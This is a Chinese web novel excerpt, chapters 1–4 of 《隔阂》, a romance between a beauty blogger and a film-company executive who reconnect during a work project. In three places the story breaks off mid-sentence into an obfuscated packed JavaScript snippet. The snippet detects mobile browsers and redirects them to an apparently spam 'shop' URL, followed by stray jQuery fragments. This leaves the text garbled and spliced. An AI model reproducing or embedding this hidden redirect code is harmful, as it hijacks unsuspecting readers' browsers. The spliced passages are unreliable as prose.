《隔阂》 1. 第 1 章 大屏幕上策划书进行到最后一页,一支遥控笔被轻轻地放回桌上,在安静的会议室发出低低的清脆响声。 “还有问题吗?”屏幕前的人问。 “有。” A市正下着雨,不大不小的颗粒此刻有些肆虐,啪嗒啪啦地拍打着玻璃窗,安遇圆坐在会议桌的最后一排,撑着脑袋,举起她的纤纤玉手。 白色西装正低着头看电脑,听到安遇圆这话,她停下滑动鼠标的手,长发挂不住肩,丝绸般成群滑落。 她抬眸,她对上安遇圆的视线。 安遇圆嘴角一勾,发出史上最婉转动听的嗓音:“施总,我有。” 本就安静的会议室更安静了,想喝水拧瓶盖的小林,有点困马上要打哈欠的小王,合上笔记本的小赵……全都停下了手中的事。 施觉又站直了,她单手插裤兜,身高优势此刻气场两米八:“安小姐,你说。” 安遇圆扬起下巴,似欣然却又挑衅地看着施觉:“我魅惑吗?” 会议室安静了两秒。 “这只是剧本里的人设。”施觉道。 安遇圆长长“哦”了声,露出思考的表情:“这个人设,是不是有点冒昧了,好像和我有点不符啊?” 施觉好似发出了一声很轻的笑,但太快了,没人捕捉。 “是吗?”施觉的话不明意味。 安遇圆点头,理所当然:“嗯哼。” 施觉游刃有余:“人设可以修改,剧情也可以再定。” 安遇圆歪了歪嘴,不是很满意,但好在她这个人非常好说话:“好吧,”她点点头又问:“这是谁给我设计的啊?”她眼睛弯弯地看着施觉:“不会是你吧施总?” 施觉说:“不是。” 身边坐着的,耳朵正竖着的,昨天凌晨三点才拿到施总稿子的小张手很轻微地抖了一下。 安遇圆见好就收,她把手放下,轻飘一个:“好。” 施觉投以轻轻的微笑,低头看腕上的手表:“今天先这样,小林你东西整理好了给我,我去一趟楼下。” 小林抬起头:“好的,五分钟内给您发。” 施觉嗯了声,低头收拾笔记本电脑:“还有别的问题,一会儿办公室找我。” * 部门里的人都知道,这个合作方安小姐,和他们的施总,不是很对付。 本以为是两位美女的倾世大合作,明明合照的时候安小姐十分轻易地就靠在出了名的有事说事无人敢亲近的施总肩上,大家都被同框照养眼得觉得这事儿稳了一定合作愉快,没想到第一次开会就扛上了。 已经不太记得事情是怎么开始的,似乎是在一次施总圆润地用废话回答了安小姐的问题之后,安小姐不爽了。 虽然到现在只开了两次会,但次次,她们都要过几次招。 主要是安小姐过,好听点是安小姐不懂就问,难听点是,找茬。 就算施总多滴水不漏,安小姐也能鸡蛋里挑出蜜汁大鸡腿。 不过对付安小姐,施总也有自己的一套,她总让大家觉得“完了完了这要怎么办”时,很冷静地轻松两句,以退为进,化险为夷。 “安小姐还不魅惑吗?”出了会议室,小林挽着小张的胳膊,小声道。 “你也觉得她很魅惑吗?”小张听到和自己一样的观点,十分激动,但碍着前面还有很多人,她压着声音说:“我第一天见到她差点没被她迷死,回去我就关注她了。” “我也是,”小林笑着点头:“她对自己的认知是不是有点偏差。” 小张狠狠同意,也好奇:“对了,这次的剧本怎么是施总亲自来写?” 小林耸肩:“不知道啊,第一天安小姐离开之后她就说她来写。” “这么简单的剧本也亲自写,”小张随意感叹了句,又道:“难道施总也觉得安小姐魅惑吗?我看她俩针锋相对的,没想到把剧本写得这么美。” 小林哎呀了声:“毕竟是合作嘛,施总还是很识大体的。” 说到这儿,小张和小林突然默契地对视一眼,默契地一齐笑了起来。 “宿敌什么的……”小张拉长音,留有话口。 “嘘,”小林食指轻压嘴唇,小声道:“不讲不讲!” 安遇圆这会儿还在会议室里,她正在和妈妈视频。 打得倒巧,正是会议解散的那刻。不是什么大事,问什么时候回去,说刚刚叫阿姨去安遇圆家把奶奶寄来的水果拆了,痛斥安遇圆老是买一堆快递不拆,就那么堆着,balabala。 顺便也批评安遇圆:“你怎么穿吊带啊?现在什么天,冷不冷?” “不冷,A市很暖和的,”安遇圆眼睛飘了飘:“我都要热死了。” 身边穿着两件的助理郑秋雨,从电脑里抬起头,看了眼雨下得更猛的窗外。 “真的吗?”安遇圆妈妈那头问。 安遇圆玩自己的指甲:“骗你干嘛。” 妈妈似是想说什么,但轻轻张嘴又闭上,换了句话:“你这次去找姐姐了吗?” “没有,”安遇圆继续玩自己的指甲:“没空,好忙的。” 妈妈嗯了声。 安遇圆妈妈的电话挂断,郑秋雨也同时合上电脑收起来,她们这才离开会议室。 安遇圆是个美妆博主,因为干货多,内容硬而逐渐火起来,性格加持,吸引了不少粉丝,只是如今美妆行业创意枯竭,她正在试图给自己的账号添加新鲜血液。 所以这次找来了这家影视公司,希望能合作出好看的小短片。 离开会议室,郑秋雨看着安遇圆的丝白色收腰吊带长裙,摇了摇头。 是很漂亮没错,是身材非常非常好没错,但是今天A市阴转小雨18度啊。 会议室里好些,开会时关了窗还开了暖气,这会儿的走廊,风从四面八方吹来,即使从出门到现在已经问了不下十次,郑秋雨还是很担心地再问一句:“圆圆,冷不冷啊?我外套给你吧。” 安遇圆吸了吸鼻子,她正想开口,就看到了走廊那边一个人,正奔着电梯去。 安遇圆马上端正站好,踩起她六亲不认的步伐,交代郑秋雨:“一会儿电梯里再问我一次。” 郑秋雨:“……好。” “叮。”电梯里了。 好消息是就三个人,坏消息是,就三个人。 电梯门缓缓关上,彻底隔绝外面的世界,先进电梯的施觉按下了楼层16,并后退一步。 一秒后,似是见身边的人没有动静,又去按了楼层1。 数字亮起的瞬间,电梯里非常明显的一声:“呵。” 郑秋雨站在安遇圆的身后侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485075|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,低着头,心里难熬又,觉得好笑。 “圆圆,”任务在身,郑秋雨没有耽误很久,非常自然地问:“你冷不冷啊?” 安遇圆几乎是马上接话,她稍稍抬了些头,语气执拗道:“不冷啊,一点都不冷。” 话题落,电梯安静了下来。 并已经行驶到20楼。 显得刚才的那段对话十分诡异。 只是到18楼时,一件白色的西装外套,披在了安遇圆的身上。 安遇圆像是被踩了尾巴的猫,被这个动作惊了一大跳,她立马耸肩,试图将外套耸走。 不过没能得逞,肩膀被按住,施觉施觉一副不让你动弹的姿态。 一段无声的剧情在不大的电梯厢里上演,落幕。 “干什么?”安遇圆动累了,她斜眼看施觉。 施觉说:“我到了。” 电梯厢在这时停了下来,安遇圆拧住了眉,她对着施觉狠狠瞪过去,没想到眼神刚甩到,她就察觉了施觉的视线走向。 是她鼻尖往下的那个地方。 安遇圆心跳瞬间漏拍。 只是很难捕捉,像是错觉,安遇圆没来得及确认,施觉就已经移开眼,并把放在安遇圆肩上的手拿开。 “不要任性。”施觉丢下这句话,就离开了电梯。 16楼有人进来,12楼有人出去,到了8楼,电梯里又彻底只剩安遇圆和郑秋雨了。 原来施觉喷了香水,要不是穿了她的衣服,安遇圆根本不知道。 “淡一点的话就只有你能闻到。” 突然有这样的一句话,轻飘飘地像丝带一般滑入安遇圆的耳朵里,又轻飘飘飘走,搞得安遇圆一阵鸡皮疙瘩。 “呵。” 安遇圆又笑一声,惹得郑秋雨探头看她。 大厦里还好些,外面更是冷上加冷,自动门一开,安遇圆瞬间老实,将外套拢得紧紧的,猫着脚步快快跑上车。 “一会儿的活动是几点?”车门关上,安遇圆贴住了暖风口。 郑秋雨:“12点,还有点时间,要不要去吃点东西?” 安遇圆“要”字在嘴里转了一圈,开口变成了:“停车。” 才启动的司机,紧急踩下了刹车。 郑秋雨心里“又怎么了我的大小姐”,脸上笑嘻嘻地看着安遇圆:“昂?” 安遇圆探头到副驾:“你看见了吗?” 郑秋雨转头:“看见什么?” 安遇圆摸着下巴:“刚刚施觉离开电梯的时候,你有看到她在看我的什么地方吗?” 郑秋雨看着安遇圆非常期待的表情,轻轻吸一口气,表情十分迷茫:“什么?” 安遇圆无奈地叹一声:“算了,”她转身解锁车门:“我下车了。” 郑秋雨:“啊?” 不过安遇圆抓着门把手片刻,又回头。 郑秋雨扬眉:“不下了?” 安遇圆摇头:“要下,”说着她把施觉的衣服脱了,拿上了旁边她今早穿的那件:“你不用跟着我了,我很快回来,或者你去附近吃点东西,随便给我打包一份。” 郑秋雨问:“你去干什么啊?” 安遇圆一只腿踏出去,咬牙切齿:“干她。” 郑秋雨愕然,她欲言又止,直到车门砰的一声关上。 2. 第 2 章 电梯又到26楼了。 是有点太冷了,出了电梯安遇圆猛猛连续打了两个大喷嚏,手上也瞬间起了鸡皮疙瘩。 她不知道施觉的办公室在哪,所以到了她们部门,她逮住遇到的第一个人:“你好,打扰你一下。” 这人或许认识安遇圆,也或许刚才一起开过会,安遇圆还没往下说呢,她就转身指了个方向:“安小姐你好,施总的办公室在走廊尽头,右手边那个。” 只不过安遇圆有点脸盲,只觉得有点脸熟。 也惊讶地挑眉:“好哦,谢谢。” 这人:“不客气的。” 在走廊尽头。安遇圆不打扰大家地贴着边轻轻走过去,不过快远离人群时,她突然停下了脚步。 安遇圆往办公区域看了眼,挑了个看起来乖巧老实的戴眼镜女生,她悄悄走过去,在她身边稍稍俯身:“你好哦,打扰你一下。” 女生露出微笑道:“施总的办公室是右边那个。” 安遇圆啊着笑了声:“我不是问这个,”她更小声了些,用确定只有她们两个人能听到的音量说:“你知道施总有对象吗?” 女生也小声道:“好像没有。” 安遇圆眼睛一弯:“谢谢。” 女生看起来马上要脸红:“不用,不用谢。” 安遇圆又哒哒哒离开了。 即使能看得出来动静很小,高跟鞋踩在瓷砖上的声音还是清脆得动听。 安遇圆裙子下摆是鱼尾,跟着她的一步一步,裙摆被她的脚踝勾起一朵朵白色的小浪花,有节奏,很勾人。 “咚咚咚。” “进。” 安遇圆当然也知道,所以进了施觉的办公室,她反手关上门,脚步立马起来。 刻意地踩,刻意地放大姿态,在办公室门口才解开的外套扣子,这会儿稍稍一动,就掉下一边肩头,她再趁机刻意地将肩头耸起。 施觉在她进来时站了起来,在她哒哒哒走路时开口问“安小姐,怎么了?”,在她衣服掉下扭着走过去时双手环胸不说话了。 安遇圆就这么妖娆地走到施觉的办公桌边,不客气地绕进去,接着脚轻轻一垫,坐在了桌子上。 “你干脆踩在我脸上。”施觉说。 安遇圆终于得意一笑,她歪着脑袋看施觉:“我以为你不认识我了呢。” 施觉把安遇圆掉下肩的外套扶起来:“认识。” 语气很平静,很淡,好像她们从前只是点头之交而已。 安遇圆当然不是第一次见识这样的施觉,当初她巴着施觉想和她做被拒绝时,施觉就给了她这样冷漠的脸色,试图赶人。 有什么用,不过半天就和安遇圆滚到床上了。 “你对故人都是这个态度啊?”安遇圆晃了晃肩,让外套掉下来:“啊?” 施觉又将外套拉上去:“安小姐什么时候有空,我请你吃饭。” 安遇圆恨得咬咬牙,更用力地扭身体,让两边都滑下去:“怎么,碰到熟人你都要请吃饭吗?” 施觉不厌其烦地继续把两边衣服都拉上去:“我办公室没开暖气。” 安遇圆:“现在开。” 不知道这有什么好笑的,施觉很短促地笑了声,她躲开安遇圆疑惑的眼神,从抽屉里将空调遥控拿了出来。 滴滴开启,滴滴设置,滴滴暖风从角落吹了过来。 安遇圆又晃晃,衣服又掉下来。 施觉又上手,又将安遇圆的衣服拉上去。 “干嘛一直扯我衣服,”安遇圆凶凶地说这话,但说完她突然想到了什么,语气一捏,眼珠一转:“你在怕什么?” 施觉终于不帮安遇圆拉衣服了,空调风很猛,不多时空气就温热起来。 施觉不在安遇圆身边站着,她坐回她的椅子,并问:“剧本有什么问题吗?除了人设还有什么需要修改的地方?” 安遇圆:“不用改啊,都很好,就这样拍。” 施觉抬眸看安遇圆,又点点头:“好。” 惹到施觉安遇圆非常得意:“怎么样,我就是故意的。” 施觉看着没什么所谓:“你开心就好。” 安遇圆:“不过我确实是带着个问题来找你的。” 施觉姿态逐渐疏离,还开始摸鼠标敲键盘,搞得自己好忙的样子:“请说。” “刚才在电梯,”安遇圆屁股挪挪,往施觉的地方靠近,轻声:“姐姐,你想亲我啊?” 施觉打字的手停顿片刻。 这次安遇圆捕捉到了,施觉还敲错字了!按了删除键! 这使得安遇圆更靠近了,她将手撑在桌上,斜斜地,一点点往下,最后索性直接侧躺在施觉的办公桌上。 “是不是啊?” 安遇圆侧躺着,手撑着脑袋,肩膀不管不顾地露着,但因为这个人是安遇圆,滑稽被完全消除,此刻是满分的勾人。 施觉将腕上的电子表藏进袖子里,面上平静地继续敲击键盘:“剧本没问题我就安排下去了。” “是不是嘛?”安遇圆还是问。 施觉:“明天下午拍,地点和具体时间我会让小张发给你的助理。” “是,不是,啊?”安遇圆揪着不放。 施觉终于不敲键盘了,她沉默了一会儿。 “是。”施觉说。 别看安遇圆这会儿看起来游刃有余,实则心脏都要跳出嗓子眼了。 是! 施觉说是! 只是她还没来得及消化这个话,更要跳出嗓子眼的事发生了。 “咚咚。”办公室传来了敲门声。 安遇圆如惊弓之鸟,瞬间从桌上弹起来,她连忙跳到地上,却因为没控制住扭了一下。 险些要栽倒,好在被施觉扶住。 扶得很好,安遇圆直接栽在施觉的腿上。 但施觉也并非善茬。 “进。” 安遇圆瞪大双眼,她脑子不够思考,身后已经传来了开门声,情急之下,她推开施觉,就地蹲了下去。 “施总。” 门外两个人推门进来的那刻,安遇圆的手正好从施觉的手心划走。 还好办公桌那头有挡板,能完全将安遇圆遮得严实。 也因为有挡板,安遇圆没看到进来的两人试探和疑惑的眼神。 两人进来是找施觉签字的,安遇圆能听懂,施觉的办公室很安静,除了三个人小声说话的声音,就是空调口的微弱的风声。 高跟鞋下是木质地板,安遇圆不敢大动,只能一点一点地,挪一个自己觉得舒服的姿势。 挪着,施觉的手突然掉了下来。 在安遇圆眼里是掉,其实施觉只是放在扶手上。 就掉在眼前,安遇圆眨巴眨巴眼睛,忘了自己刚才想干什么。 很久很久的从前,在一个下雨天的夜里,两人结束一场暖暖温存时,安遇圆就曾捧着这双手,细细慢慢地夸了好几分钟。 施觉的手指修长,骨节分明,指甲形状很漂亮,不用修就很迷人,是天生的1。 呸,天生的姐。 这么姐感的手,此刻离安遇圆距离不到十厘米。 安遇圆的视觉完全被这只手吸引,耳边所有的声音飘渺起来,一颗颗字方方正正地在空气里跳跃,什么“合同”,什么“期限”,什么“更改”。 所以根本控制不住的,安遇圆逐渐靠近。 鼻子周围的空气因呼吸变得湿润,她想,她如果舔一口的话,会怎么样? 会很吓人。 安遇圆控制住这个想法,稍稍往后退了点。 但突然之间,她感觉到有什么触碰到了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安遇圆觉得这个女生的声音有点熟悉,只是在她思考的下一秒,这个女生就道:“刚才安小姐问我,你有没有对象。” 安遇圆:“……?” ??? 什么??? 服了! “哦?”施觉的语气也变得温和:“你怎么说?” 女生道:“我说好像没有。” 施觉点点头:“好,知道了。” 女生嗯了声:“那我走了。” 走不了,就在这时,安遇圆的手机突然响了起来。 安遇圆赶紧掐断。 “……” 办公室瞬间死一般的沉寂,站着的,坐着的,蹲着的。 不过还是给各自留有体面,施觉先让女生离开,等门那边传来落锁的声音,才对安遇圆说:“起来吧。” 安遇圆直接就是坐在地上,并狠狠瞪了一眼施觉。 电话又响了起来,是郑秋雨打的,安遇圆接起被告知时间已经差不多了,他们在楼下,圆圆你十分钟内要下楼哦。 不用十分钟,安遇圆现在就可以马上起来,不要施觉扶,她也不会说一句话,直接往办公室门口去。 “下雨了,”快到门边,身后传来声音:“有伞吗?” 安遇圆:“淋死我得了。” 说完她把手放门把上。 不过还有句话要说。 “想请我吃饭就快点,我档期很满,明天拍完这个短片我就离开A市了,”安遇圆捏起姿态,给个回眸:“过时不候,施总。” 3. 第 3 章 施觉折磨人是有她的一套的,她把刚才那个老实女生,安排给安遇圆了。 安遇圆一开始还不高兴这个女孩子怎么可以这样子对她!但在只有她们俩的电梯里,这个女生满脸通红又不敢看她,安遇圆什么气都消了。 甚至想安慰她两句。 确实倒也不是什么大事。 女孩子是带着伞来的,说是施总让她送安小姐上车。 “安小姐我们明天就要开始拍摄了。”电梯到15楼,这个女孩子又再次开口。 安遇圆嗯了声:“好。” 电梯又降了四层。 “是,是这样的,”她又开口了,声音显然比刚才要小又弱:“因为安小姐这边都是我来对接的,所以施总一开始就交待过我,你有任何问题,都要向她汇报。” 她说完这句话,很用力地抿了抿唇,像是鼓起了很大的勇气。 安遇圆沉默片刻:“任何问题吗?” 女生频率很快地点头:“任何任何问题,和工作有没有关系的,都要告诉。” 安遇圆双手环住,头稍稍偏了些,躲离女生的方向,撇嘴笑了一下。 “你叫什么啊?”安遇圆问。 女生回答:“张宇婕,叫我小张就行。” 小张,安遇圆这下突然有印象了,确实是这个小张,刚来公司就是她接待的,郑秋雨也是和她发的邮件。 真会挑人问啊,安遇圆。 “叮。”电梯到一楼了。 “就送到这儿吧,”安遇圆对小张笑了笑:“我助理一会儿会来门口接我,谢谢你啊小张,这两天麻烦你了,明天见。” 小张说了个“好的”脸又红了:“不用谢,”她想了想又道:“安小姐,我是你的粉丝。” 安遇圆莞尔一笑:“谢谢。” 郑秋雨就在大门口,外面的雨下得更大了,见安遇圆走了出来,她撑起伞,雨珠像炸开了的烟花般,四处散落。 车就停在门口,上了车,暖风从四面八方包裹,安遇圆把露在外面的脚踝贴在出风口上。 好冷好冷好冷。 12点是一个美妆品牌的宣传活动,作为嘉宾,安遇圆会参加他们的试妆和直播。 车上坐稳,郑秋雨就给安遇圆递来了热乎的三明治,还有下午活动的流程和注意事项,安遇圆吃吃吃,点头嗯嗯嗯,把吹暖风的腿换一只。 “大概就是这些,”郑秋雨简单说完,把手机收起来:“晚上一起吃个饭,今天就结束了。” 安遇圆把最后一口吃进嘴里,接过郑秋雨递过来的湿巾擦擦手。 “我有个问题。”安遇圆说。 郑秋雨正襟危坐:“嗯。” 安遇圆:“你觉得我和施觉是什么关系?” 郑秋雨默默地把手机放下,锁上,再认真地想了好一会儿:“死对头?” 安遇圆噗的一声,很大声地笑起来。 “死对头吗?哈哈哈哈。”安遇圆笑得很好听。 郑秋雨是安遇圆的大学学妹,是安遇圆精挑细选的能力强有想法的合作伙伴。学妹大四这会儿还没毕业,去年某天夜里在朋友圈愁未来,虽然秒删,却正好被安遇圆看到。深聊几句之后两人一拍即合,如今已经一起工作快半年,基本没有大矛盾,很是契合。 “为什么啊?”安遇圆露出了显然少见的非常好奇的眼神,她看着郑秋雨:“是哪方面的死对头?” 郑秋雨想了想,先问:“你们从前是不是认识啊?” 安遇圆挑了个大眉:“为什么这么问?” 郑秋雨:“感觉。” 安遇圆淡淡勾一个笑,又问:“为什么觉得我们是死对头?” 安遇圆这次回答得很快:“我不了解施总,但以我对你的了解,你不会无缘无故地这样对一个人。” 安遇圆:“我怎么对她了?” 郑秋雨咽下一句“你怎么对她你自己不清楚吗?”,也换了句话:“现在看好像又不是了。” 安遇圆聊得很开心:“这又是为什么?” 郑秋雨说:“你真的讨厌一个人不是这样的。” 去年有个博主明目张胆地抄袭安遇圆的巧思,还拉踩,郑秋雨是见过安遇圆对那个人的态度的,对比这次的施觉…… 很难判断。 “那你觉得施觉呢?”安遇圆跟着这个问题追着问:“你觉得她是一个什么样的人?” “施总嘛,”这个很好说,郑秋雨张嘴就可以来:“很干练,很沉稳,思路清晰行事严谨,也很正经严肃……” 安遇圆突然在这儿笑了:“正经严肃吗?” 郑秋雨停了下来:“啊?不吗?” 真能蒙蔽人,完全大shai迷来的。 而且安遇圆离开办公室前看到了,她唇上的那一抹口红色,沾在了施觉的杯子上,鼠标上,键盘上,看不见的地方呢,谁知道施觉干嘛了。 “你继续。”安遇圆说。 “大概就这些,”郑秋雨说着又啊了声,夸奖道:“还很漂亮。” 安遇圆又不明就里地重复:“漂亮。” “是啊,”张秋雨这次狠狠点头:“施总好御姐,她那个气场,”她说到这儿摇摇头:“很难形容。” 安遇圆十分有兴趣地凑上前去:“我非要让你形容呢。” 非要的话:“看着很冷漠,但能看得出来她私底下会是一个很温柔的人。” 安遇圆更是凑近了,她惊讶得挑眉:“这是怎么看出来的?” 郑秋雨说:“从她对你的态度。” 安遇圆嘴巴圆了起来:“哦?!” 郑秋雨笑了笑:“圆圆,你们从前是认识的吧?” 遇遇圆笑了笑,这次她没有避开这个话题:“确实认识,”她撑着脑袋,眼睛带着笑地看着郑秋雨:“你刚刚说死对头,你觉得我们是哪方面的死对头?” 郑秋雨以为这个话题过去了,居然还被安遇圆给话说回来,她又认真思考一番:“成绩?美貌?” 安遇圆又笑了几声:“你再猜呢。” 郑秋雨小心翼翼地猜了个:“情……敌?” 安遇圆摇头:“再猜。” “不是啊,”郑秋雨继续猜:“工作上有冲突?” 安遇圆再在摇头:“再猜。” 郑秋雨:“闹过别扭的朋友?” 安遇圆:“一定是朋友吗?” 郑秋雨:“同学?” 安遇圆笑了起来:“再猜猜呢。” 郑秋雨继续认真思考,但好半天还是摇头:“想不到了。” 安遇圆长长叹一声:“好吧,”她拍拍郑秋雨的肩膀:“我五年前也和你一样。” “一样什么?”郑秋雨更是一头雾水:“所以到底是什么啊?” 安遇圆不介意给她一点提示:“你猜施觉她是随谁姓?” 郑秋雨惊恐地捂住嘴:“你们是姐妹?” 安遇圆也惊恐地捂住嘴,好像被郑秋雨的一击必中惊讶,但很快她又露出成功逗到人的表情,点头道:“嗯,我们是异父异母的姐妹。” 郑秋雨疯狂思考:“重组家庭?” 安遇圆更是被郑秋雨认真的表情逗笑了,决定不再玩笑:“不是啦,什么都不是。” 郑秋雨无奈:“什么啊。” “就是,朋友吧,”安遇圆点点头:“没别的什么。” 郑秋雨看了几秒安遇圆的眼睛,说了个:“好吧。” 安遇圆知道郑秋雨不信。 老天对安遇圆有点好,到了活动地点,雨已经停了。 但这个路面对安遇圆不好,才走了几步,他们就遇到了一坑积水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485077|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安遇圆和施觉在一起的时间能用时间精确地计算,是五年前在S市的7月5号到7月15号,是四年前在A市的7月2号到8月22号。 七月大,很好算,一共51天。 这个在一起,不是指她们在一起了,就只是单纯地说她们待在一块的时间。 在有限的51天里,A市也曾下今天这样的雨,她们也曾在今天这样的天气出门,也曾遇到,像面前这样积了水的地面凹陷坑。 郑秋雨说:“圆圆,我们从那边走吧。” 但施觉不是,施觉把安遇圆抱了过去。 可恶的施觉,在那天给安遇圆抛下一个心锚,至此只要安遇圆遇到水坑,都会情不自禁地想起那天,想到她突然被抱起而悬空的感觉,想到她被放下后施觉半跪在她面前,把她的脚放在膝盖上,拿纸巾轻轻擦拭时的心动。 那是安遇圆去A市的第3天,才只是她们相处的第13天。 安遇圆恨过施觉的,她恨施觉不爱的话为什么要表现得那么爱,从而掠夺安遇圆所有不安的情绪,却让安遇圆变得更不安。 但要是施觉爱,那就晚上就来请她吃饭。 哈哈…… 安遇圆从不迟到,到了现场,她还有许多空闲的时间可以好好补妆。 补口红时,她又接到了妈妈的视频。 因为发现了安遇圆的谎言,妈妈开口就说:“骗我今天A市不冷,今天A市刮风又下雨。” 安遇圆把肩上的毛绒绒外套给妈妈看:“这不是穿上了。” 妈妈怪罪地拧眉:“你总是不听话。” 安遇圆嘻嘻笑:“哪有,我好听话的。” 妈妈:“你最好是。” “干嘛啊,”安遇圆抿抿唇,把口红刷盖上:“打电话来就为了骂我。” 妈妈无奈:“我这是骂你吗?” 安遇圆:“难道是夸我?” “牙尖嘴利的,”妈妈露出无奈的表情,突然又问:“姐姐知道你去A市了吗?” “不知道。” 十公里外的办公室,施觉也对电话这么说。 电话那头哦了声:“我听你嘉宁姨姨说的,圆圆过来工作几天,好像明天就回去了。” 话音落,电话两头都沉默了。 “是嘛,”施觉语气很淡,像是事不关己,但也不同以往的声音有些低:“不知道,我们没有任何联系方式。” 妈妈说了个好,就说:“我今天没什么事,晚上我们一起吃?上次你说想吃我做的红烧鱼。” 施觉垂眸看落地窗外乌黑的云:“今天没空,我晚上有约了。” “行,”妈妈点点头:“那就再约,我晚上就约别人去了。” 施觉:“好。” 今天A市的雨有些断续,才刚消停了一会儿,又淅淅沥沥地下了起来,施觉站在落地窗前,浅色系衣服几乎要与窗外的阴天色融为一体,微弱的光线将她的影子拉得单薄又模糊。 她的中指还有些黏,指纹缝隙里还残留着擦不掉的口红。 不过她没去擦,软软有弹力的触感似乎还在上一秒。 窗外的雨滴倾斜地飘在玻璃窗上,在空气里打出急促又无节奏的哒哒声。 施觉抬起手,中指在唇上轻轻点了一下。 又刮一下,直到她自己的唇色也染在了指腹上。 两种不一样的唇色集中在了指腹中,施觉垂眸看了一会儿,接着中指大拇指并着轻轻摩挲,打圈,融合,晕开。 直到大拇指也均匀地染上颜色,她把口袋里的手机拿了出来,给小张发去一条消息。 施觉:「我的外套似乎落在安小姐那了,你帮我去问一下」 小张回复:「好的」 五分钟后,小张又传来回复:「安小姐说她住银杏酒店」 4. 第 4 章 安遇圆要困死了。 她昨天凌晨两点才睡,早上七点就起来了。 她的睡眠一直很好的,她的的工作需要很好的皮肤状态,而能保持这样的皮肤状态,最简单的就是吃好睡好心情好。 这件事对她来说不难,她向来睡得早,入睡快,只要困的时候有能倒下的地方,就能睡着。 这件事还被施觉笑过,起因是她例假结束大放厥词说要大干一整晚,结果一次过后安遇圆就困得直接睡着,醒来就是白天。 当然,她第二天把这事算在了施觉头上。 没有一件事是睡一觉不能解决的,如果有好吃的更好,如果还有开心的事,那这日子过得就太幸福了。 施觉也因此曾叫她小猪。 安遇圆对着镜子打了个打哈欠。 哎…… 施觉施觉,就知道施觉,昨天没能睡着就是因为施觉,好好的突然想起和施觉的那些过往,于是夜半三更的,一发不可收拾,想得人要热死掉。 “好,现在来看我们的圆圆这边。” 主持人话音落,镜头扫了过来,安遇圆打起千万分精神,露出笑脸…… 一个半天就这么过去,和主办方吃完饭,安遇圆回到车上要累瘫了。 但郑秋雨还很有精神,安遇圆这会儿闲下来了,郑秋雨开始给安遇圆一一报告下午安遇圆无法看手机时的重要消息,条条清晰,再加点自己的独到见解。 安遇圆怀疑郑秋雨昨天十点就睡了,真是让人羡慕。 一轮结束,车已经到下个路口,郑秋雨终于播报完毕,安遇圆看着车窗外还在下的雨,感叹一句:“刚才的椒盐虾真难吃。” 郑秋雨点头:“是有点干,是有点咸。” 安遇圆又评价:“怎么能把椒盐虾这么好做的食物做得这么难吃呢。” 郑秋雨笑了笑同意,问安遇圆:“你会做饭吗?” “我不会,”安遇圆说:“但是施觉会。” 郑秋雨挑了挑眉。 安遇圆又说:“她也不算完全会,会做点基础的普通的,能生存的,还有椒盐虾和红烧猪蹄,”她想了想:“也算会吧,这怎么能不算会呢。” 安遇圆再说:“她说她不太会炒青菜,总是做得很烂,所以后来索性全都改成白灼。” 安遇圆又又说:“不过我觉得都还可以的,我吃不出区别。” 安遇圆再再说:“她每天都要吃青菜。” 郑秋雨哦了声,接话:“施总是A市人吗?” 安遇圆说:“是B市的。” “那也差不多,”B市就在A市隔壁,郑秋雨回忆:“我有个A市的室友,她也是每天都要吃青菜,好像南方许多地区是这样的。” 安遇圆听着新鲜:“是嘛,”她点点头:“原来是这样。” 郑秋雨:“还得是绿色的,白菜不算。” 安遇圆点头点头:“是是是,”她似乎回忆到了什么,又道:“花菜也不算。” 郑秋雨很轻地笑,跟着安遇圆的话题,语气也不自禁温和下来:“你喜欢吃红烧猪蹄啊?” 安遇圆点头:“红烧猪蹄很香的。” 郑秋雨想了想:“我可能没吃过很好吃的红烧猪蹄。” 安遇圆:“有机会让她做给你吃。” 郑秋雨瞪大惊恐的双眼:“啊?” 安遇圆笑了起来:“开个玩笑。” 但很快她又道:“也不好说。” 导航显示回酒店还有十分钟,司机没有播放任何歌曲,显得车厢里安静极了。 刚才聊了那么些,像是榨干了安遇圆所有力气,她静静靠着看窗外,收起了所有表情,眼睛缓慢闭上,又缓慢睁开。 不知道在外人看来,会不会有种淡淡的忧伤。 忧伤吗? 安遇圆保持这个姿态不变,抬手把后座的灯开了。 “小雨,”安遇圆把手收回座椅上:“给我拍一张。” 老操作了,郑秋雨马上拿出相机,并顺手把一个便携打光灯递给安遇圆。 “好美,好美,”郑秋雨扭来扭去咔咔咔:“脸给我点,太漂亮了。” 安遇圆再开点窗户,外头的风吹了进来,吹得安遇圆落在肩上的长卷发往后飘去。 郑秋雨趁机又拍了好几张,直到镜头里安遇圆的笑容突然变大。 “好啦。”安遇圆停下摆拍的姿态,伸出手。 郑秋雨自信给相机,把安遇圆逗得笑,不过确实拍得很好,是安遇圆要的背景,眼神和气质,还有那份忧伤。 “还得是你啊。”安遇圆给郑秋雨竖起大拇指。 